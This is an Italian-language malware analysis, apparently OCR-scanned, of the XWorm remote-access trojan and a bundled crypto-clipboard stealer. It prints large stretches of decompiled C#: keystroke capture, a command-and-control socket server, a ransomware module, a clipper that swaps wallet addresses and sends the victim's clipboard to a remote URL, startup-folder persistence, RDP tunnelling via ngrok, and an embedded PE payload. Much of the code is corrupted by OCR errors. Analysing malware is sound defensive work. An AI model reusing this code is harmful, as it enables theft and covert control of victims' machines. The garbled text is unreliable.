rijndaelManaged.IV = rfc2838DeriveBytes.GetBytes(rijndaelManaged.IV.Length);
MemoryStream memoryStream = new MemoryStream();
CryptoStream cryptoStream = new CryptoStream(memoryStream, rijndaelManaged.CreateDecrypd
object @string = default(ocbject);
try
{
byte[] array = Convert.FromBase645tring(D3D4BCI7DCEDDCE1783A429EDDECTABF28);
cryptoStream.Write(array, @, array.Length);
cryptoStream.Close();
@string = Encoding.UTF8.GetString(memoryStream. ToArray());
return @string;

catch (Exception projectError)

{

ProjectData.SetProjectError(projectError);
ProjectData.ClearProjectError();
return @string;

Gli arrays di bytes vengono criptati con il Cipher ECB mediante oggetti
RC2CryptoServiceProvider e MD5CryptoServiceProvider:
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h

public static string V95997AACF4EVIAV7EFF3CEDECAF11A329(string DBE3C114482DAABD3FED33517ABFL
- {

StringBuilder stringBuilder = new StringBuilder();

string[] array = Strings.Split(DSE3C114482DAABD3FED33517ABFDGE4E24, Conversions.ToString(

string[] array2 = array;

foreach (string value in array2)

{
string value2 = Conversions.ToString(Strings.ChrW(Conversions.ToInteger(<Modules.B6E
int charCode = ((int)Math.Round(Conversicns.ToDouble(value) - (double)Convert
stringBuilder.Append(Strings.Chr(charCode));

¥

return stringBuilder.ToString();

h
public static string REVAA9SC32RORICF52574RD947TFI6F6237(string F42A15A616F12548744EABB36CIEE

RC2CryptoServiceProvider r(2CryptoServiceProvider = new RC2CryptoServiceProvider();
MDSCryptoServiceProvider mDSCryptoServiceProvider = new MDSCryptoServiceProvider();
string text = <Module>.BEB6AEGODD1FE31EAF35C10CAB50836C (<Module> . BE994DEI23ADAB7BS4FCCLE
byte[] array2 = (rC2CryptoServiceProvider.Key = mDSCryptoServiceProvider.ComputeHash(Enc
rC2CryptoServiceProvider.Mode = CipherMode. ECB;

ICryptoTransform cryptoTransform = rC2CryptoServiceProvider.CreateDecryptor();

byte[] array3 = Convert.FromBase64String(F42A15A616F12548744EABB36CEERBOED22);

return Enceding.ASCII.GetString(cryptoTransform.TransformFinalBlock(array3, @, array3.Le

}
public static string RA287AF95R96GCE4BIDTARSREFEDA69519(=tring A7F2@B1BBEECE9589A9152@9ACAEES
+ Soc
public static object C(595F6C1BSBOOBDESC29677D2016F48631()
+ s
| public static object CBCEEOCCCSIEF1IECTCCCDBCIDDE3CA1937()
+ Soc
private static string CEBCA28E1D86FDFD8CASCATSAO7CFD2118()
+ Soc

public static string WCCE79W27AEES@CCSAW2BABOEFB2FAG228(string A29DFG@48B3C330019C1985ADDESE
- 1

try

MDSCryptoServiceProvider mDSCryptoServiceProvider = new MDSCryptoServiceProvider
byte[] array = mD5CryptoServiceProvider.ComputeHash(Encoding.UTF8.GetBytes(A29DF
StringBuilder stringBuilder = new StringBuilder();

int num = array.Length - 1;

for (int 1 = 18; i <= num; i++)

1
}

return stringBuilder.ToString().ToUpper();

stringBuilder.Append(array[i].ToString(<Module: . BESGAEGIDDIFG31EAF35C1BCARSE

catch (Exception projectError)
{
ProjectData.SetProjectError(projectError);
string result = <Module:.B686AE@IDDIF631EAF3SCIOCABS0836C (<Module: . BE994DEI23IADL
ProjectData.ClearProjectError();
return result;
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All'interno della classe Proxy vi sono riferimenti all'aggiunta di items all'interno della lista
Pending.Req_Out:

if (Conversions.ToBoolean(Operaters.NotObject{Operators.CompareObjectEqual (MyProject

FFD19CC8E@B2FDCCF331730608054E38927. Text = Conversiens.ToString(MyProject.UE@BEDF

¥

}

catch (Exception ex)

{
ProjectData.SetProjectError{ex);
Exception ex2 = ex;
Debug.WriteLine(ex2.Message);
ProjectData.ClearProjectError();

¥

}
private void OD9D143CDCB31B9E0CE48COACA14CB4125(object sender, FormClosingEventArgs e)

try

Outcoming_Requests item = new Outcoming_Requests(FD976B334768BOBETF7624DB9954276F24
Pending.Req Out.Add(item);

GClass1.D4DACD57B16DDC7B4919548C22D1FFAT2E() ;
GClass@.CAR2(787C3D514BB1E837619DE596C1332();
Class8.F2E118CEFA11EAGBS04BDDC69900C94031 () ;

catch (Exception projectError)

{
ProjectData.SetProjectError(projectError);
ProjectData.ClearProjectError();
¥
}
private void FB4873932343C49F94CD6F28F6D8570222(object sender, EventArgs e)
+ ~oc
private void XBA1EXX20XF33X2B(96B7180387D18X816(chject sender, EventArgs e)
+ ~oc
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La classe Registry viene utilizzata per I'enumerazione e la modifica di specifiche chiavi di
registro con anche la possibilita di effettuare registry browsing.

Registry
private void I11A201415E42AC6AGA46302E6C4142137 (object sender, EventArgs e)
+ oy
private void RDMDB4CCIDBEA2C66C1IA3IF4AGIRB29D827 (cbject sender, Eventirgs e)
+ o
private void ADDSC356CBD79DACA922B3897019BEDA3EB(cbject sender, TreeViewEventArgs e)
+ Lod
private void N7D9A7CD72CN22FCEFFBCA169NECBEF332(cbject sender, Eventérgs e)
+ Lod
private void N70724E@E7BE9A38D12EDFB249NICIF517 (object sender, EventArgs e)
+ [od
private void NN4CE5S5B41AA27FSAGCBFNCEND6DB51@30(object sender, EventArgs e)
+ oy
private void VDFCF33A820EB5V8BOGDVV7BE107B8FD18(cbject sender, EventArgs e)
= {
EditReg editReg = new EditReg();
editReg.X9C78611ED9BBEA64CO6373FX531450319 = W318535EC5W7DBWCAGCBEASEC399BBC637 . 5electer
editReg.X67812797ESABSAXBASFODEECBIAB4143] = EEIE19BBA09ABIDEAGDI2EEZFSCAIDFER];
editReg.DE95C9BAD31EGCE@E6E7CEBRFDELETEDLG. Text = <Module>.B6BGAE@IDDIF631EAF35C10CABS0E
editReg.OABFBD2E398FABCCI3D773092DF8954534. SelectedIndex = editReg.OABFBD2E398FABCCIZDT.
editReg.E3BEB75CBE7211DE7B1DEGERIIIBAFABIL. Text = <Module>.B6B6AEGIDDIF631EAF35C10CABSOE
editReg.Text = editReg.X9C78611ED9BBEA64CD6373FX531450319;
editReg.ShowDialog(this);
}
private void V3502CD1VI9EVSE@2A493A4F9719141538(object sender, EventArgs e)
+ [od
private void VAASA779EBVOAFFF1457F718C9BDAVEA22 (object sender, EventArgs e)
+ oy
private void GSA3ADBDCA946B62995250DC53DCAAGG2S (cbject sender, Eventérgs e)
+ oy

All'interno della classe Ransomware vi € un settaggio di tipo Image prendendo come input un
file specifico con il metodo eseguito Image.FromFile:

;

¥ -

private void D7AF@D392EE48D2403DB24E54CAE745E38(object sender, EventArgs e)

OCAFEAQ136520020B0ED7D64722051EF24. Text = <Module>.B6B6AEGODDIF631EAF35C10CABS@B36C( <Moc
try

Q3EFA76QBI3A29AEEQCS58QDCBE2EEIC27 = <Module>. B6BEAEOIDDIFE31EAF35C10CAB50836C (<Mady
AAC12387E41BCB4C340B433AF637021E36. Image = Image.FromFile(Q3EFA76QB93A294EEQC558Q0CE

catch (Exception ex)
ProjectData.SetProjectError(ex);
Exception ex2 = exg

Debug.WriteLine(ex2.Message);
ProjectData.ClearProjectError();

}

private void TBTE@EB3T278T910TFEE299ACADFF30T29(cbject sender, EventArgs e)

}

private void [2(443DB}MB472275541377SA5EE59F22(:thEEt sender, MouseEventArgs E)
OpenFileDialog openFileDialog = new OpenFileDialog():
OpenFileDialog openfileDialog2 = openFileDialog;
openFileDialog2.Title = <Module>.B686AE@IDDIF631EAF35C10CAB50836C (<Module> . BE994DEI23IADL

openFileDialeg2.Filter jedule> . B686AEGIDDIF631EAF35C10CAB50836C (<Module> . BEOO4DEI23AL
if (openFileDialog.ShowbDialog() == DialogResult.OK)

Q3EFA76QBI3A29AEEQCS58QDCBE2EEIC27 = openFileDialog.FileName;
AAC12387E41BCBAC3400433AF637021E36. Image = Image.FromFile(Q3EFA76QB93A29AEEQC558Q0CE

}

private void CAB98E@77BS7A373EC2CBCE@503CDE1A16(object sender, EventArgs e)
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La classe RemoteDesktop classifica e individua i keycodes dagli eventi gestiti mediante i
keystrokes registrati nella sessione in questione:

RemoteDesktop

+

private bool FB9762B2BAFEEBF304B294FF3CEABBED23 (Keys F7487BA1F1BFIF4354EBBBFEDC40375133)

private void NND7B532472EB7B79D8D7F28(6536DF319(cbject sender, KeyEventArgs e)
- {
if (PA9D9PFCS5C35251968P3DD4A4FE@3701229.ForeColor == Color.Green &R Operators.CompareStri
if (!F89762B2B4FEEBF304B294FF3CEABBEI23 (e.KeyCode))
e.Handled = true;
}
DB4F20BED7229DDEFABSAEAB727F956038 . Remove (e.KeyCade) 5
byte[] e54817479A2715C14734CADB7F3888C = Helper.A31427B17791772FASGD35F90DA6F5B034(«
Qutcoming_Requests item = new Outcoming Requests(HED4EAGSHDSC16D9F83FHE37F999946224,
Pending.Req_Out.Add(item);
}
private void NN3733NCO13FOBB6FEF3CCONIODCAEA426(cbject sender, KeyEventhArgs e)
if (PAQDOPFCSC3525198P3DD4A4FER3701229.ForeColor == Color.Green 8% Operators.CompareStri
if (!F89762B2BAFEEBF304B294AFF3CEAGSED23 (. Keylode))

e.Handled = true;

if (!DB4F28BED7229DDEFABSAEAB727F956038. Contains (e.KeyCode))

{
DB4F28BEDF229DDEFABSAEAB727F956838 . Add (e . KeyCade) ;
byte[] e54817479A2715C14734CADBYF3888C = Helper.A31427B17791772FAS0D35F90DAGF5BE
Outcoming_Requests item = new Outcoming_Requests(HED4EA65HDB8C16D9F83FHE37F99994¢
Pending.Req Out.Add(item);

}
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Viene creata una folder specifica all'interno del path di esecuzione di XWorm:

RemoteDesktop

h
}

private void E20CC042D1B8556754454B0193BCEBD629 (cbject sender, Eventfrgs e)

if (X7BEDB7ASEBFGESDRA5ST73R5FIX3AXGFE3@. ForeColor == Color.Green)

X7BEDBTASGSFEB5DPAST3B5FIX3AX6FB30. ForeColor = Color.White;
return;

string text = Path.Combine(Applicaticn.StartupPath, <Module:.B686AE@IDDIF631EAF35C1E
if (!Directory.Exists(text))

{
}

Process.Start(text);
X7BEDETASBEFGE5D@R573@5FIN3ANGFE3R . ForeColor = Color.Green;

Directory.CreateDirectory(text);

catch (Exception ex)

1
ProjectData.SetProjectError(ex);
Exception ex2 = ex;
MessageBox. Show(ex2.Message);
ProjectData.ClearProjectError();
h

}

private void J97E@91383D9AS4BBDBI34AE4ABFB6BI22 (cbject sender, FormClosingEventArgs e)
byte[] e54817479A2715C14734CADB7F3886C = Helper.A31427B17791772FAS0D35F90DAGF5B034( <ModL
Outcoming Requests item = new Outcoming_Requests(HED4EAGSHDS8C16DOF83FHE37F999946224, oS
Pending.Req_Out.Add(item);

}

private void SO@82FA481ED377EQ@6CDCT202E7SE44DA34 (cbject sender, Eventfrgs e)

if (X4D7A3386CF7DA4BR3XEC7DB3544A84634, ForeColor == Color.Green)

Vengono eseguiti metodo per la definizione di permessi di drag and drop e click listeners e
permessi di copy and paste:

private void B515FCS8ABD25D93CC9E72F1C8896351636(chject sender, EventArgs e)

{
DE4F20BED7229DDEFABSAEAB727F956838 = new List<Keys:();
FSBEFEERC8420A9C4FAGACFBFISCEEBE33. Allowlrop = true;
try
K437B6235553B8FCBKF743D3F7956B3617.5tart();
T954358556F@10BE885FC593BTA2ZTFBAD36. Text = <Module> . B6BGAE@IDDIF631EAF3SC1ACABSOB36C (
A3CA26@7A2CD19BD6558EDBA93ACIBDA3E. PerformClick();
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
Exception ex2 = ex;
Debug.WriteLine(ex2.Message);
ProjectData.ClearProjectError();
}
}
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private void SCF77BF832085SE38E98233A08ASAF71523(cbject sender, DragEventfrgs e)

- {
if (e.Data.GetDataPresent(DataFormats.FileDrop))
e.Effect = DragDropEffects.Copy;
h
¥
private vold C13ACEA20AS1B20B7@C98ACCTRBT1CD233(object sender, DragEventirgs e)
- 1
string[] array = (string[])e.Data.GetData(DataFormats.FileDrop);
string[] array2 = array;
foreach (string path in array2)
if (File.Exists(path))
byte[] e54817479A2715C14734CADB7F3888C = Helper.A31427817791772FASGD35F90DAGF 5B
Outcoming_Requests item = new Outcoming_Requests(HED4EAGSHDS8C16D9F83FHE37F99994¢
Pending.Req Out.Add(item);
¥
}
}

La classe Server possiede un metodo public void che permette di impostare un oggetto creato
di tipo Socket al fine di procedere con le funzioni di sending, binding e listening e BeginAccept.

Server

// Xuorm.Server
#define DEBUG
+using ...

public class Server
H{
public Socket QBE@CC4EBIFESFOECDQGFBEIEC3B126923;
public ManualResetEvent BDF3ADD7@3268F3A490752DECAF474E521;

public Server()

public void IG4EACD46812ED42CDITIF681I7IF42F121(int E49A4472(C6402C8B0BDD4449DFA7E1616)

- {

try

{
QBeaCC4EBI1EEBFOECDQEFBBIEC3A81268923 = new Socket(AddressFamily.InterNetwork, SocketTy
IPEndPoint localEP = new IPEndPoint(IPAddress.Any, E49A4472(C6482CEBRBDD4440DFA7E1E]
QBOGCC4EB]EEBFOECDQEFBEIEC30120923 . RecelveBufferSize = 51208;
QBOBCC4EBIFEBFBECDQEFBBOEC30128923 . SendBuffersize = 51266;
QBOGCC4EBIEEBFOECDQEFBEIEC30120923,Bind (localER);
QB@BCC4EBIEEBFBECDQEFBESEC308120923 . Listen(500) ;
QBPGCC4EBIEEBFOECDQEFBEBOEC30120923 ., BeginAccept (ICAI9EIBS98I0B5067EQIDATBSCBO97733, 1
if (Settings.NOTEF)

Helper.B2CDAFG4A3BFEDSCFSE7S@BF6CFB2B5330(Resources. AAGBBALF4A4EBATBIB271B82B7AC

}

catch (Exception ex)

{
ProjectData.SetProjectError(ex);
Exception ex2 = ex;
MessageBox. Show(ex2.Message, <Module>.B6BGAE@IDDIF631EAF35C10CARSA836C (<Module> . BE9S
Environment.Exit(@);
ProjectData.ClearProjectError();

}

}
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QBOBCC4EBIEEBFOECDQGFBBIEC3@126923 . ReceiveBuffersize = 51260; ‘
QBEECC4ER]EEBFOECDQEFBEIEC36126923 , SendBuffersize = 51208,
QBOECC4EBIEEBFBECDQEFBBIEC3@126523.Bind(localEP);

QBEBCC4EB]EERFEECDQEFBEIEC36126023 . Listen(500) ;

QBEBCC4ER]EERBFEECDQEFBBIEC36126923  BeginAccept (ICAIOEIBS98I0BS067EQIDATBSCBO97733, «
if (Settings.NOTEF)

Helper.B2CDAFG4A3BFEDSCFSE7SOBFACFB2B5330(Resources ., AAGBBAIF4ALEBATBOB271BB2BTAL

}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
Exception ex2 = ex;
MessageBox.Show(ex2.Message, <Module>.B6B6AE@IDDIF631EAF35C108CAS50836( (<Module: . BESL
Envirenment.Exit(e);
ProjectData.ClearProjectError();
}
}
public void IC4I9EIBS98IGBS@67EIIDATBSCBI97733(IAsyncResult FR347C1D2EGRE2FA1A40FEFAGCE24(52
- {
try
new Client (QBEECC4EBIEERFOECDQEFBEIEC30128923  EndAccept (FO347C1D2EGRE2F41A40FEFARCEL
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
Exception ex2 = ex;
Debug.WritelLine(<Module: . B6BGAEAIDDIF631EAF35C10CARS0836( (<Module: . BE9O4DEI23ADABTES
ProjectData.ClearProjectError();
finally
QBEBCC4ER] EEBFEECDQEFBEIEC36126923 . BeginAccept (IC4I9EIB598I0B5067E9IDATBSCBI97733, «
¥
}

// Xorm.Settings
+ using |...

public class Settings

Tt public static int Port;
public static readonly string SPL = <Module>.B686AE@IDDIF631EAF35C10CAB50836C (<Module>. BE99L
public static string KEY;
public static string IP;
public static bool NOTEF;
public static notf motf_ @ = new notf();
public static string User;
public static List<Client> Online = new List<Client:();
public static List<string> Blocked;
public static long Received = @L;
public static lomg Semt = 6L;

b
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A seguire ulteriori checks dei keycodes degli eventi contestualmente al monitoraggio dei
keystrokes.

ProjectData.SetProjectError(ex);
Exception ex2 = ex;
Debug.WritelLine(ex2.Message);
ProjectData.ClearProjectError();

¥

private void WCDFSDEDA77(446DC527484915BD41C918(cbject sender, KeyEventArgs e)

- {

switch (e.KeyCode)

{

case Keys.Dowr:
GCBF338742D6ECA54FA32187A520337E23 += -1,
if (GCAF330742D6ECA54FA32187A520337E23 < @)

GCBF33874206ECB54FA32187A52D337E23 = @;

PFAGPBL4PAP253P@A48281875P84F36A228. Text = FAACZODIFAA4DEER960CEI2C52CE341121[GCE
break;
case Keys.lUp:
GCBF338742D6ECA54FA32187A520337E23++;
if (GCAF330742D6ECO54FA32187A520337E23 » FAAC3SDIFAA4DE68968CA12C52CE34112]1. Leng

GCBF338742D6ECO54FA32187A520337E23 = FAAC3SDIFAA4D668908CA12C52CE341121 . Leng

PFAGPBL4PAP253P@A48281875P84F36A228. Text = FAACZODIFAA4DEER960CEI2C52CE341121[GCE
break;
case Keys.Return:
{
e.5uppresskeyPress = true;
string text = PFAGPBl4PAP253PB48281875P84F36A228. Text;
if (text.Length > @)
{
FAAC39DIFAA4DEE8960CEI2C52CE341121[ GDFCAAS55F47B1FBI6GED7R7ESR2216022] = tey
GDFCBE555F47B1FB16060787E582218022+4+;
if (GDFCE@555F47B81FB16660787E582218022 » FAAC39DIFAA4DE68966CA12C52CE341121 .,

A seguire i dettagli della classe XWormTask:

// XWorm.XwormTask
using System.Collections.Generic;

public class XwWermTask
T public byte[] PF3798BA713367796B2874P0D6CEIFBE34;
public string FEIABA34C33687C3E97354981861705422;
public List<string» DF@ESA3AAE3IGD3B2F7DI7F7557D4CFI0726;
public XWormTask(byte[] CSC3AF1@FF3EDCELIBS6RARTEFG2468A038, string K21FBF34EGSDDEGDKEDDILFE:
PF3798BA71336779662874PSD6CEIFBE34 = (SC3AF1BFF3EDCELIBSGRAABTEFG2468ARB3E;

FEIABA34C33687C3E97354981861705422 = K21F8F34E65DDEGDKEDD31FE2B2F491916;
D7BESA3AAE3BD3B2F7D177557D4CFID726 = new List<string>();

Lo script seguente esegue il comando lodctr /r, il quale permette di ripristinare le impostazioni
del registro di sistema ed i files di prestazioni memorizzati nella cache.
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1 [Eecho off
2 title XWorm - Fixer

echo If XWorm Does Not work - Bun This Script As Ldministrator!
5 panse
& lodctr fr
7 panse

Verificando i moduli inclusi all'interno dell’eseguibile Crack.exe, contenuto nell’archivio SFX,
possiamo notare numerosi attributi, come ad esempio Cryptowallets addresses, mutexes,
Startup boolean attribute e cryptowallets addresses boolean attributes che indicano se
sottrarre anche tale tipologia di dato.

// Crypto.Crypto.Addresses
+using ...

[standardModule]
internal sealed class Addresses

Tt public static readoenly string ethereum = "@xdFEf41d46Dd3Be583F2a69b4a35A6RBCEATIT4Ad" ;
public static readenly string xmr = "44X9i4c6YhQcfLiSCrbNH2SyrRTkrhrzQ5eZTlmeFsqtSqlK48XH o:
public static string Mutexx = "1bYF3d7Uk88sFPzm";
public static string startup = “"yes™; I
public static readenly string btc = "16LYjmErwNek2gMQkNrkLm2ilQVhjmxSRe";
public static string wrl = "http://www.example.com/log.php";
public static Mutex mtx;
public static string ethereumE = “yes";
public static string xmrE = "yes";
public static string btcE = "yes";|

h

La classe Clipboard ottiene i dati della clipboard, il metodo statico di tipo void prende come
argomento in input la variabile txt e provvede a creare un’esecuzione multi threading per gli
attributi di una web request effettuata.
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Clipboard
string result = string.Empty;
Thread thread = new Thread((ThreadStart)delegate
result = System.Windows.Forms.Clipboard.GetText();
Bs
thread.SetApartmentState (ApartmentState.5T4);
thread.Start();
thread.Join();
return result;
}
public static void SetText(string txt)
- {
Thread thread = new Thread((ThreadStart)delegate
{
try
{
string requestUriString = Addresses.url + "?Target Address : " + GetText() + "
System.Windows.Forms.Clipboard. SetText (txt);
WebRequest webRequest = WebRequest.Create(requestUriString);
WebResponse response = webRequest.GetResponse();
Stream responseStream = response.GetResponseStream();
StreamReader streamReader = new StreamReader(responseStream);
string text = streamReader.ReadToEnd();
streamReader.Close();
respoense.Close();
h
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
Exception ex2 = ex;
ProjectData.ClearProjectError();
}
1
thread.SetApartmentState (ApartmentState.574);
thread.Start();
thread.Join();
}
}

ad thread = new Thread((Threadstart)delegate

try
{

string requestUriString = Addresses.url + "?Target Address : " + GetText() + " | Changed Wit
System.Windows.Forms.Clipboard.SetText (txt);

WebRequest webRequest = WebRequest.Create(requestUriString);

WebResponse response = webRequest.GetResponse();

Stream responseStream = response.GetResponseStream();

StreamReader streamReader = new StreamReader(responseStream);

string text = streamReader.ReadToEnd();

streamReader.Close();

response.Close();

catch (Exception ex)

{
ProjectData.SetProjectError(ex);
Exception ex2 = ex;
ProjectData.ClearProjectError();

i

ad.SetApartmentState(ApartmentState.S74);
ad.Start();
ad.Jein();
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All'interno dei NativeMethods possiamo notare riferimenti ai numeri interi costanti che sono

relativi agli eventi di clipboard update e message handling, nella fattispecie
WM_CLIPBOARDUPDATE e HWND_MESSAGE:

// Crypto.Crypto.NativeMethods
+using |...

[5tandardModule]
internal sealed class NativeMethods

= |
public const imt WM CLIPBOARDUPDATE = 797;
public static IntPtr HWND MESSAGE = new IntPtr(-3);

[D11Import(“user32.d11™, SetlastError = true)]
public static extern bool AddClipboardFormatListener(IntPtr hwnd);

[D11Import(“user32.dll™, SetlastError = true)]
public static extern IntPtr SetParent(IntPtr hWndChild, IntPtr hWndNewParent);
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Nella classe Program viene eseguito il task di persistenza droppando il file .exe all'interno della
folder di Windows startup.

// Crypto.Crypto.Program
+using |...

public class Program
[DebuggerionUserCode]
public Program()

+
[MethodImpl(MethodImplOptions.NoInlining | MethodImplOptions.NoOptimization)]
[5TAThread]
public static void Main()

- {

bool flag = false;
bool createdNew = false;
Addresses.mtx = new Mutex(initiallyOwned: true, Addresses.Mutexx, out createdNew);
if (!creatediew)
{
PrejectData.EndApp();
if (Operators.CompareString(Addresses.startup, "yes", TextCompare: false) == @)
try
{
string text = Envirconment.GetFolderPath(Environment.SpecialFolder.Startup) + "\'
if (!File.Exists(text))
File.Copy(Application.ExecutablePath, text);
File.SetAttributes(text, FileAttributes.Temporary);
by
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
Exception ex2 = ex;
ProjectData.ClearProjectError();
}
}
Run();
1 0
+
tion)]

ut creatediew);

false) == @)

Folder.Startup) + "\\" + Path.GetFileNameWithoutExtension(Application.ExecutablePath) + ".exe"|;

public static wvoid Run()
- 1

Application.Run(new ClipboardNotification.MotificationForm(});
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A sequire il wallpaper impostato dal modulo Ransomware:

Background.png

Oops All Your Files Are Encrypted !

La classe ClientSocket aggiunge nella lista Operators |'oggetto Clipboard:

public class ClientSocket

—q{

public static bool isConmected = false;

public static Secket S;

public static long Bufferlength = @L;

public static byte[] Buffer;

public static MemoryStream M5 = new MemoryStream();
public static readonly object SPL = Settings.SPL;

public static void BeginConnect()

- {
5 = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
Bufferlength = -1L;
Buffer = new byte[1];
M5 = new MemoryStream();
S.ReceiveBuffersize = 51288;
S5.5endBufferSize = 512080;
try
{
S.Connect(Settings.Host, Conversions.ToInteger(Settings.Port));
isConnected = true;
Send(Conversions.ToString(Operators.AddObject(Operators.Addobject("Clipboard”, SPL),
S.BeginReceive(Buffer, B, Buffer.lLength, SocketFlags.None, BeginReceive, S);
catch (Exception ex)
i
ProjectData.SetProjectError(ex);
Exception ex2 = ex;
isDisconnected();
ProjectData.ClearProjectError();
}
}

Nel metodo Send fa uso di un oggetto AES:
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ClientSocket =
public static void Send(string msg) ~
= i
try
i

using MemoryStream memoryStream = new MemoryStream();

byte[] array = Helper.AES_Encryptor(Helper.SB(msg));

byte[] array2 = Helper.SB(Conversions.ToString(array.Length) + "\8");
memoryStream.Write(array2, @, array2.length);

memoryStream.Write(array, @, array.lLength);

5.Poll(-1, SelectMode.SelecthWrite);

5.5end(memoryStream. ToArray(), @, ({int)memoryStream.Length), SocketFlags.Nor

catch (Exception ex)
ProjectData.SetProjectError(ex);
Exception ex2 = ex;
isDisconnected();
ProjectData.ClearProjectError();
¥

public static void isDisconnected()

isConnected = false;

try
5.Close();
5.Dispose();

}

catch (Exception ex)

{
ProjectData.SetProjectError(ex);
Exception ex2 = ex;
Debug.WriteLine(ex2.Message);
ProjectData.ClearProjectError();

1

try

{

MS.Close();
MS.Dispose();

Qui alcune evidenze del modulo Helper che, mediante i metodi statici di tipo byte [] che

provvedono alla cifratura e decifratura dell’array di byte input:

+

public static byte[] AES_Encryptor(byte[] input)

= {
RijndaelManaged rijndaelManaged = new RijndaelManaged();
MD5CryptoServiceProvider mDSCryptoServiceProvider = new MD5CryptoServiceProvider();
byte[] result = default(byte[]);
try
{
rijndaelManaged.Key = mDSCryptoServiceProvider.ComputeHash(SB{Settings.KEY));
rijndaelManaged.Mode = CipherMode.ECB;
ICrypteTransform cryptoTransform = rijndaelManaged.CreateEncryptor();
result = cryptoTransform.TransformFinalBlock(input, @, input.Llength);
return result;
catch (Exception ex)
i
ProjectData.SetProjectError(ex);
Exception ex2 = ex;
Debug.Writeline(ex2.Message);
ProjectData.ClearProjectError();
return result;
¥
}
public static byte[] AES_Decryptor(byte[] input)
= {

RijndaelManaged rijndaelManaged = new RijndaelManaged();

MD5CryptoServiceProvider mD5CryptoServiceProvider = new MDS5CryptoServiceProvider();
byte[] result = default(byte[]);

try

{

rijndaelManaged.Key = mDSCryptoServiceProvider.ComputeHash(SB(Settings.KEY));
rijndaelManaged.Mode = CipherMode.ECE;

ICryptoTransform cryptoTransform = rijndaelManaged.CreateDecryptor();

result = cryptoTransform.TransformFinalBlock(input, @, input.Llength);

return result;

catch (Exception ex)
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Al fine di gestire le sessioni RDP e remote management la classe Helper utilizza il modulo ngrok
per effettuare secure ingress networking ed il RDP Wrapper.

// Plugin.Helper
#define DEBUG
+ using |...

[standardModule]
internal sealed class Helper

T public static readonly string Temp = Interaction.Environ("Temp");
public static readonly string NGROK = Temp + "\\ngrok.exe";
public static readonly string RDPWInst = Temp + "\\RDPWInst.exe";
public static readonly string INFile = "C:\\Program Files\\RDP Wrapper™;
[field: AccessedThroughProperty("MyProcess™}]

public static Process MyProcess

public static object HRDPFumc(string User, string Pass)

Il metodo HRDPFunc prende come argomenti in input User e Pass ed effettua la creazione di
un oggetto Stream come WebClient per la lettura della URI localhost sulla porta 4040
/api/tunnels.

static object HRDPFunc(string User, string Pass)

static string API()

"ing text

= string.Empty;
“ing result =

text;

try
{

using (Stream stream = new WebClient().OpenRead(“http://127.0.8.1:4048/api/tunnels"))

using StreamReader streamReader = new StreamReader(stream);
string input = streamReader.ReadToEnd();
string pattern = “((tcp? |[http? [tep|http): ((//) | (VW) [N\ d s @3/ 53 ()~ 2 \0-= 3\
MatchCollection matchCollection = Regex.Matches(input, pattern);
IEnumerator enumerator = default{IEnumerator);
try
i
enumerator = matchCollection.GetEnumerator();
while (enumerator.MoveNext())

{
object objectValue = RuntimeHelpers.GetObjectValue(enumerator.Current);
string text2 = "tep://";
string text3 = Convert.ToString(RuntimeHelpers.GetObjectValue(objectValue));
text = text3.Substring(text3.IndexOf(text2) + text2.Length);
}
¥
finally
if (enumerator is IDisposable)
(enumerator as IDisposable).Dispose();
}
}
IEnumerator enumerator2 = default(IEnumerator);
try
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Il metodo booleano UAC controlla se I'utenza corrente ha permessi amministrativi:

c bool UAC()

rn new NindousPrincipa](windowsldentity.GetCurrent())lIsInRole(NindousEuiltInRole.Afmin{strator

xception ex)
ectData.SetProjectError(ex);
ption ex2 = ex;

result = false;

ectData.ClearProjectError();
rn result;

[l plugin N contiene i riferimenti per I'enumerazione e la modifica delle chiavi di registro del
sistema con i relativi permessi, per tale scopo viene impiegato un oggetto
Microsoft. Win32.RegistryKey:

/! Plugin.N
+ using |...

public class N

-1
private enum RegistryRights
- 1
Readkey = 131897,
Writekey = 131878
b

public enum RegWowed0ptions

- 1
KEY WolWs4 22KEY = 512,
KEY _WolWs4 64KEY,
None
}
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public enum RegWowe40ptions ’

KEY WoWe4 32KEY = 512,
KEY_WOW64_64KEY,
None

}
[DebuggerionUserCade]
public N()
private IntPtr GetRegistryKeyHandle(RegistryKey Registerykey)
safeHandle safeHandle = (SafeHandle)Type.GetType("Microsoft.Win32.Registrykey™).GetFielc

safeHandle.DangerousGetHandle();
return safeHandle.DangerousGetHandle();

}
public RegistryKey OpenSubKey(RegistryKey ParentKey, string SubKeyName, bool Writeable, Regy
{
if (Parentey == null || GetRegistryKeyHandle(Parentkey).Equals{IntPtr.Zerc))
throw new Exception(“OpenSubKey: Parent key is not open™};
h
int num = 131897;
if (Writeable)
{
num = 131875;
}
int phkResult = default(int);
if (RegOpenKeyEx(GetRegistryKeyHandle(Parentkey), ref SubKeyMame, @, num | (int)Optiens,
Win32Exception innerException = new Win32Exception();
throw new Exception("OpenSubKey: Exception encountered cpening key", innerException)
}
return PointerToRegistryKey((IntPtr)phkResult, Writeable, ownsHandle: false);
h

[l plugin di VNC connections management HVNC fa uso della classe DLLBuffer per definire un
array di bytes di 41984 celle denominato rawData, esso viene utilizzato all'interno del metodo

statico di tipo Object Run all'interno della classe Plugin. L'array rawData viene impegato nel
metodo Run nel richiamo del metodo RunPE.PERun con argomento in input riferibile a .NET
Framework per la compilazione .NET.
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DLLBuffer

[/ HVNC.DLLBuffer
public class DLLBuffer

public static byte[] rawData = new byte[41984]
- 1
77, 9@, 144, @, 3, 8, 8, @, 4, 0,
@, B, 255, 255, @, @, 184, @, 8, B,
®, 8, ©, @, 64, @, @, @, @, @,
B, B , e,
8, B,
¥ ¥ y B,
1, 186, 14, 8, 188,
9, 285, 33, 184, 1, 76, 205, 33, 84, le4,
185, 115, 32, 112, 114, 111, 183, 114, 97, 189,
32, 99, 97, 1le, 1le, 111, 116, 32, 98, 101,
32, 114, 117, 11@, 32, 185, 118, 32, 68, 79,
83, 32, 189, 111, 1@a, 181, 45, 13, 13, 18,
3, @, 8, @, 8, @, @, 8, 80, 69,
@, 8, 76, 1, 3, @, 118, 197, 162, 199,
®, 8, 8, 9, 8, @, @, @, 224, B,
34, @, 11, 1, 48, @, @, 154, 8, 8,
8, @, @, @, @, 8, 282, 184,
@, 32, 8, @, @, 192, 8, @,
